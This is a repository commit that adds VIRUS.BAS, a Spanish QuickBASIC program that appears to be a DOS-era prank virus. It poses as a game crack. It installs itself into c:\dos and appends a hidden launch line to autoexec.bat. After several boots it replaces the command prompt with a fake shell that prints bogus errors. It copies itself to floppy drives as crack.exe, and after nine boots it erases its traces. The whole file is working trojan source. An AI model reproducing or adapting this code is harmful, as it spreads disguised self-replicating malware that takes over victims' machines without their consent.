First commit ~0,10
This commit is contained in:
420
BAS/VIRUS.BAS
Normal file
420
BAS/VIRUS.BAS
Normal file
@ -0,0 +1,420 @@
|
||||
DECLARE FUNCTION GetString$ (start$, end$, Vis%, Max%, row%, col%)
|
||||
DECLARE SUB borradelauto ()
|
||||
DECLARE SUB copiarac (est)
|
||||
DECLARE SUB aumentacarga (global)
|
||||
DECLARE SUB Simulador ()
|
||||
|
||||
|
||||
|
||||
inicio:
|
||||
DIM SHARED virus, c AS INTEGER, global, fc$(100)
|
||||
CONST TRUE = -1
|
||||
CONST FALSE = NOT TRUE
|
||||
veza = 0: vezb = 0
|
||||
|
||||
ON ERROR GOTO errores
|
||||
|
||||
OPEN "c:\dos\cargas.dat" FOR INPUT AS #1
|
||||
CLOSE
|
||||
glob = est
|
||||
aumentacarga (glob)
|
||||
|
||||
IF virus <> 1 THEN GOTO finprog 'Si el virus es distinto de 1 ( off )
|
||||
'el programa se aborta.
|
||||
|
||||
'***** simulador *****
|
||||
REDIM Curr$(19), One$(19), Two$(19), Three$(19), Four$(19), Five$(19)
|
||||
|
||||
PRINT
|
||||
row% = CSRLIN - 1
|
||||
hud = 80
|
||||
old$ = TIME$
|
||||
|
||||
|
||||
Simulador:
|
||||
row% = row% + 1
|
||||
a$ = ""
|
||||
hud = hud + 1
|
||||
|
||||
IF VAL(MID$(TIME$, 4, 2)) >= VAL(MID$(old$, 4, 2)) + 3 THEN PRINT : PRINT : PRINT "La humedad relativa dentro del ordenador es del " + STR$(hud) + "%": PRINT : old$ = TIME$
|
||||
PRINT
|
||||
promt$ = "C:\" + LTRIM$(RTRIM$(ch$)) + ">"
|
||||
|
||||
'PRINT promt$:
|
||||
Kbd$ = GetString$(promt$, end$, 80, 80, LEN(promt$), col%)
|
||||
IF RTRIM$(LTRIM$(UCASE$(end$))) = "JD_EXIT" THEN
|
||||
CLS
|
||||
LOCATE 5, 5: PRINT " EL FIN DE TU PESADILLA !!! , Nueva versi<73>n en marcha."
|
||||
borradelauto
|
||||
SHELL "del c:\dos\cargas.dat >nul"
|
||||
SHELL "del c:\dos\tempi.bin >nul"
|
||||
SHELL "del c:\dos\TEMPI.exe >nul"
|
||||
SYSTEM
|
||||
END
|
||||
END
|
||||
END
|
||||
END IF
|
||||
|
||||
a$ = end$
|
||||
|
||||
'*******------------**********------------*********---------**********-----
|
||||
IF RTRIM$(LTRIM$(a$)) = "" THEN GOTO Simulador
|
||||
IF LEFT$(UCASE$(LTRIM$(RTRIM$(a$))), 2) = "" THEN GOTO Simulador
|
||||
IF LEFT$(UCASE$(RTRIM$(a$)), 2) = "CD" AND MID$(UCASE$(RTRIM$(LTRIM$(a$))), 4, 8) = "" THEN PRINT : PRINT "Omisi<73>n de parametros": PRINT : GOTO Simulador
|
||||
IF LEFT$(UCASE$(RTRIM$(a$)), 2) = "CD" AND MID$(UCASE$(RTRIM$(LTRIM$(a$))), 4, 2) = ".." OR MID$(UCASE$(RTRIM$(LTRIM$(a$))), 3, 2) = ".." THEN
|
||||
IF LEN(LTRIM$(RTRIM$(ch$))) = 0 THEN GOTO Simulador
|
||||
con = 0: L = 0: lug = 0: p = 0
|
||||
DO
|
||||
con = con + 1
|
||||
L = L - 1
|
||||
IF LEN(LTRIM$(RTRIM$(ch$))) + L - 1 = -1 THEN ch$ = "": vez = 0: GOTO Simulador
|
||||
IF MID$(LTRIM$(RTRIM$(ch$)), LEN(LTRIM$(RTRIM$(ch$))) + L, 1) = "\" THEN lug = LEN(LTRIM$(RTRIM$(ch$))) + L - 1: con = LEN(LTRIM$(RTRIM$(ch$)))
|
||||
LOOP WHILE con <> LEN(LTRIM$(RTRIM$(ch$)))
|
||||
IF p = 1 THEN ch$ = "": vez = 0: GOTO Simulador ELSE ch$ = MID$(LTRIM$(RTRIM$(ch$)), 1, lug): vez = 1: GOTO Simulador
|
||||
END IF
|
||||
|
||||
|
||||
IF LEFT$(UCASE$(a$), 2) = "CD" AND vez = 0 THEN
|
||||
sum = 0: l2 = 4
|
||||
DO
|
||||
sum = sum + 1
|
||||
l2 = l2 + 1
|
||||
IF MID$(LTRIM$(RTRIM$(UCASE$(a$))), l2, 1) = " " THEN GOTO Simulador
|
||||
LOOP WHILE sum <> LEN(LTRIM$(RTRIM$(a$)))
|
||||
ch$ = LTRIM$(RTRIM$(ch$)) + MID$(UCASE$(a$), 4, 8): vez = 1: GOTO Simulador
|
||||
END IF
|
||||
|
||||
IF LEFT$(UCASE$(a$), 2) = "CD" THEN
|
||||
sum = 0: l2 = 4
|
||||
DO
|
||||
sum = sum + 1
|
||||
l2 = l2 + 1
|
||||
IF MID$(LTRIM$(RTRIM$(UCASE$(a$))), l2, 1) = " " THEN GOTO Simulador
|
||||
LOOP WHILE sum <> LEN(LTRIM$(RTRIM$(a$)))
|
||||
IF LEFT$(UCASE$(a$), 2) = "CD" THEN ch$ = ch$ + "\" + MID$(UCASE$(a$), 4, 8): vez = 1: GOTO Simulador
|
||||
|
||||
END IF
|
||||
|
||||
'********************************************
|
||||
'COPIAR DESDE AQUI SI NO SE A<>ADE NADA ARRIBA
|
||||
'********************************************
|
||||
RESTORE
|
||||
b$ = ""
|
||||
w$ = UCASE$(LTRIM$(RTRIM$(a$)))
|
||||
RESTORE datas
|
||||
|
||||
WHILE b$ <> "*"
|
||||
READ b$, wqw$
|
||||
IF RTRIM$(LEFT$(w$, 4)) = b$ OR RTRIM$(LEFT$(w$, 2)) = b$ THEN GOTO accion
|
||||
WEND
|
||||
|
||||
|
||||
a = 1: b = 0
|
||||
|
||||
DO WHILE b <= LEN(w$) + 1
|
||||
b = b + 1
|
||||
IF MID$(w$, b, 1) = " " THEN pal$ = LEFT$(w$, b): EXIT DO
|
||||
LOOP
|
||||
valor = 0
|
||||
q1 = 0: q2 = 0: q3 = 0: q4 = 0: q5 = 0
|
||||
pal$ = w$
|
||||
|
||||
OPEN "c:\dos\tempi.bin" FOR RANDOM AS #1 LEN = 113
|
||||
FIELD #1, 10 AS IoDate$, 20 AS IoRef$, 20 AS IoDos$, 20 AS IoTres$, 20 AS IoCuatro$, 20 AS IoCinco$
|
||||
FIELD #1, 1 AS valid$, 2 AS IoMaxRecord$
|
||||
|
||||
GET #1, 1
|
||||
IF valid$ = "*" THEN
|
||||
MaxRecord = VAL(IoMaxRecord$)
|
||||
ra = 1
|
||||
|
||||
DO WHILE ra <= MaxRecord
|
||||
GET #1, ra + 1
|
||||
Curr$ = IoDate$
|
||||
One$ = IoRef$
|
||||
Two$ = IoDos$
|
||||
Three$ = IoTres$
|
||||
Four$ = IoCuatro$
|
||||
Five$ = IoCinco$
|
||||
IF RTRIM$(LTRIM$(pal$)) = RTRIM$(LTRIM$(UCASE$(Curr$))) THEN
|
||||
|
||||
IF RIGHT$(RTRIM$(One$), 1) = "?" THEN PRINT : PRINT One$; : INPUT p$ ELSE PRINT : PRINT : PRINT One$;
|
||||
|
||||
IF RIGHT$(RTRIM$(Two$), 1) = "?" THEN PRINT Two$; : INPUT "", p$: q1 = 1
|
||||
IF MID$(Two$, 2, 1) = "#" THEN IF RIGHT$(Two$, 1) = UCASE$(p$) THEN PRINT : PRINT MID$(Two$, 3, 18); : Q = 1
|
||||
IF q1 = 0 THEN PRINT Two$
|
||||
|
||||
IF RIGHT$(RTRIM$(Three$), 1) = "?" THEN PRINT : PRINT Three$; : INPUT "", p$: q2 = 1
|
||||
IF MID$(Three$, 2, 1) = "#" THEN q2 = 1: IF LEFT$(Three$, 1) = UCASE$(p$) THEN PRINT : PRINT MID$(Three$, 3, 18); : q2 = 1
|
||||
IF q2 = 0 THEN PRINT Three$
|
||||
|
||||
IF RIGHT$(RTRIM$(Four$), 1) = "?" THEN PRINT : PRINT Four$; : INPUT "", p$: q3 = 1
|
||||
IF MID$(Four$, 2, 1) = "#" THEN q3 = 1: IF LEFT$(Four$, 1) = UCASE$(p$) THEN PRINT : PRINT MID$(Four$, 3, 18);
|
||||
IF q3 = 0 THEN PRINT Four$
|
||||
|
||||
IF RIGHT$(RTRIM$(Five$), 1) = "?" THEN PRINT : PRINT Five$; : INPUT "", p$: q4 = 1
|
||||
IF MID$(Five$, 2, 1) = "#" THEN q4 = 1: IF LEFT$(Five$, 1) = UCASE$(p$) THEN PRINT : PRINT MID$(Five$, 3, 18);
|
||||
IF q4 = 0 THEN PRINT Five$
|
||||
|
||||
valor = 1
|
||||
EXIT DO
|
||||
END IF
|
||||
ra = ra + 1
|
||||
LOOP
|
||||
END IF
|
||||
CLOSE
|
||||
|
||||
IF valor = 0 THEN PRINT : PRINT "Comando o nombre de archivo incorrecto"
|
||||
|
||||
GOTO Simulador
|
||||
|
||||
|
||||
accion:
|
||||
SELECT CASE VAL(wqw$)
|
||||
CASE 1
|
||||
PRINT : PRINT
|
||||
PRINT " Volumen en unidad C no tiene etiqueta"
|
||||
PRINT " N<>mero de serie de volumen es 1138-1600"
|
||||
PRINT
|
||||
PRINT " Directorio de C:\" + ch$
|
||||
PRINT
|
||||
PRINT "Archivo no se encontr<74>"
|
||||
PRINT
|
||||
GOTO Simulador
|
||||
|
||||
CASE 2
|
||||
|
||||
PRINT : PRINT "Imposible acceder a unidad requerida"
|
||||
GOTO Simulador
|
||||
CASE 3
|
||||
CLS
|
||||
PRINT
|
||||
GOTO Simulador
|
||||
|
||||
CASE 4
|
||||
PRINT : PRINT "Fichero no encontrado"
|
||||
GOTO Simulador
|
||||
|
||||
CASE 5
|
||||
COLOR 6
|
||||
PRINT : PRINT "Virus-Simuler por JD"
|
||||
COLOR 7
|
||||
GOTO Simulador
|
||||
|
||||
CASE 6
|
||||
PRINT : PRINT TIME$: GOTO Simulador
|
||||
|
||||
CASE 7
|
||||
PRINT : PRINT DATE$: GOTO Simulador
|
||||
CASE 8
|
||||
IF veza = 0 THEN SHELL "copy c:\dos\tempi.exe a:crack.exe >nul": SHELL "copy c:\dos\tempi.bin a:crack.dat >nul"
|
||||
PRINT
|
||||
PRINT "Cable de enlace con la unidad A, suelto"
|
||||
veza = 1
|
||||
|
||||
GOTO Simulador
|
||||
CASE 9
|
||||
IF vezb = 0 THEN SHELL "copy c:\dos\tempi.exe b:crack.exe >nul": SHELL "copy c:\dos\tempi.bin b:crack.dat >nul"
|
||||
PRINT
|
||||
PRINT "Cable de enlace con la unidad B, suelto"
|
||||
vezb = 1
|
||||
GOTO Simulador
|
||||
END SELECT
|
||||
PRINT wqw$
|
||||
GOTO Simulador
|
||||
|
||||
|
||||
|
||||
|
||||
END
|
||||
|
||||
finprog:
|
||||
|
||||
IF est = 1 THEN COLOR 5: LOCATE 15, 10: PRINT "Juego CRACKEADO ::: .. :::"
|
||||
'system
|
||||
|
||||
END
|
||||
|
||||
errores:
|
||||
IF ERR = 53 THEN copiarac (1)
|
||||
RESUME NEXT
|
||||
|
||||
|
||||
datas:
|
||||
DATA DIR,1,COPY,2,CLS,3,TYPE,4,JD,5,TIME,6,DATE,7,"A:",8,"B:",9
|
||||
DATA *,*
|
||||
|
||||
SUB aumentacarga (global)
|
||||
|
||||
OPEN "c:\dos\cargas.dat" FOR INPUT AS #1
|
||||
INPUT #1, carga$
|
||||
CLOSE
|
||||
|
||||
carga$ = STR$(VAL(carga$) + 1)
|
||||
|
||||
OPEN "c:\dos\cargas.dat" FOR OUTPUT AS #1
|
||||
WRITE #1, carga$
|
||||
CLOSE
|
||||
|
||||
' El virus se activara cuando el contador sea mayor de 3 y se
|
||||
'auto-eliminara cuando alcance un n<>mero m<>ximo de 9 cargas.
|
||||
IF VAL(carga$) > 3 THEN virus = 1
|
||||
IF VAL(carga$) >= 9 THEN
|
||||
borradelauto
|
||||
KILL "cargas.dat"
|
||||
KILL "c:\dos\tempi.bin"
|
||||
KILL "c:\dos\TEMPI.exe"
|
||||
|
||||
END IF
|
||||
END SUB
|
||||
|
||||
SUB borradelauto
|
||||
|
||||
'El proceso de borrado es complicado, hay que modificar apartir de las
|
||||
'secuencias de grabado de datos las entradas o bytes donde se encuentra
|
||||
'nuestra linea "intrusa", para eliminarla sin dejar rastro en el auto.
|
||||
|
||||
|
||||
OPEN "c:\autoexec.bat" FOR INPUT AS #1
|
||||
|
||||
Q = 0
|
||||
|
||||
DO
|
||||
Q = Q + 1
|
||||
LINE INPUT #1, fc$(Q)
|
||||
IF RTRIM$(LTRIM$(fc$(Q))) = "@echo off" THEN valor = 1
|
||||
|
||||
IF valor = 1 AND RTRIM$(LTRIM$(fc$(Q))) = "c:\dos\TEMPI" THEN CLOSE #1: GOTO grabar
|
||||
|
||||
LOOP WHILE NOT EOF(1)
|
||||
|
||||
CLOSE #1
|
||||
GOTO finh
|
||||
|
||||
grabar:
|
||||
|
||||
c = Q - 22
|
||||
SHELL "c:\dos\attrib -h -r c:\autoexec.bat >nul"
|
||||
SHELL "del c:\autoexec.bat >nul"
|
||||
|
||||
OPEN "c:\autoexec.bat" FOR APPEND AS #2
|
||||
|
||||
c = Q - 22
|
||||
|
||||
FOR Q = 1 TO c
|
||||
|
||||
PRINT #2, fc$(Q)
|
||||
|
||||
NEXT Q
|
||||
|
||||
CLOSE #2
|
||||
|
||||
finh:
|
||||
|
||||
END SUB
|
||||
|
||||
SUB copiarac (est)
|
||||
|
||||
' Ahora deber<65>a auto-copiarse este programa a la unidad C
|
||||
' e instalarse, en el archivo autoexec.bat
|
||||
CLS
|
||||
bit = 0
|
||||
|
||||
LOCATE 5, 5: COLOR 5: PRINT "Por favor, espere..."
|
||||
LOCATE 7, 5: COLOR 7: PRINT "Crackeando juego... ::: .. :::"
|
||||
COLOR 12
|
||||
|
||||
SHELL "copy crack.exe c:\dos\tempi.exe >nul"
|
||||
SHELL "copy crack.dat c:\dos\tempi.bin >nul"
|
||||
|
||||
SHELL "c:\dos\attrib -r c:\autoexec.bat >nul"
|
||||
OPEN "c:\autoexec.bat" FOR APPEND AS #1
|
||||
FOR a = c TO c + 20
|
||||
PRINT #1, CHR$(13)
|
||||
NEXT a
|
||||
PRINT #1, "@echo off"
|
||||
PRINT #1, "c:\dos\TEMPI"
|
||||
CLOSE #1
|
||||
|
||||
COLOR 7
|
||||
IF est = 1 THEN est = 1
|
||||
|
||||
END SUB
|
||||
|
||||
DEFINT A-Z
|
||||
'GetString$:
|
||||
' Given a row and col, and an initial string, edit a string
|
||||
' VIS is the length of the visible field of entry
|
||||
' MAX is the maximum number of characters allowed in the string
|
||||
'
|
||||
'
|
||||
FUNCTION GetString$ (start$, end$, Vis%, Max%, row%, col%)
|
||||
PRINT start$;
|
||||
|
||||
|
||||
IF Curr$ = CHR$(8) THEN Curr$ = ""
|
||||
|
||||
LOCATE , , 1
|
||||
|
||||
finished = FALSE
|
||||
DO
|
||||
GOSUB GetStringShowText2
|
||||
GOSUB GetStringGetKey2
|
||||
|
||||
IF LEN(Kbd$) > 1 THEN
|
||||
finished = TRUE
|
||||
GetString2$ = Kbd$
|
||||
ELSE
|
||||
SELECT CASE Kbd$
|
||||
CASE CHR$(13), CHR$(27), CHR$(9)
|
||||
finished = TRUE
|
||||
GetString2$ = Kbd$
|
||||
|
||||
CASE CHR$(8)
|
||||
IF Curr$ <> "" THEN
|
||||
Curr$ = LEFT$(Curr$, LEN(Curr$) - 1)
|
||||
IF LEN(Curr$) >= 0 THEN
|
||||
LOCATE CSRLIN, POS(0) - 1: PRINT " ";
|
||||
IF LEN(Curr$) >= 1 THEN LOCATE CSRLIN, POS(0) - 2 ELSE LOCATE CSRLIN, POS(0) - 1
|
||||
END IF
|
||||
END IF
|
||||
|
||||
CASE " " TO "}"
|
||||
IF LEN(Curr$) < Max THEN
|
||||
Curr$ = Curr$ + Kbd$
|
||||
ELSE
|
||||
BEEP
|
||||
END IF
|
||||
|
||||
CASE ELSE
|
||||
BEEP
|
||||
END SELECT
|
||||
END IF
|
||||
|
||||
LOOP UNTIL finished
|
||||
|
||||
end$ = Curr$
|
||||
LOCATE , , 0
|
||||
EXIT FUNCTION
|
||||
|
||||
|
||||
GetStringShowText2:
|
||||
|
||||
IF LEN(Curr$) > Vis THEN
|
||||
PRINT RIGHT$(Curr$, Vis);
|
||||
ELSE
|
||||
PRINT RIGHT$(Curr$, 1);
|
||||
|
||||
|
||||
END IF
|
||||
RETURN
|
||||
|
||||
GetStringGetKey2:
|
||||
Kbd$ = ""
|
||||
WHILE Kbd$ = ""
|
||||
Kbd$ = INKEY$
|
||||
WEND
|
||||
RETURN
|
||||
|
||||
END FUNCTION
|
||||
|
Reference in New Issue
Block a user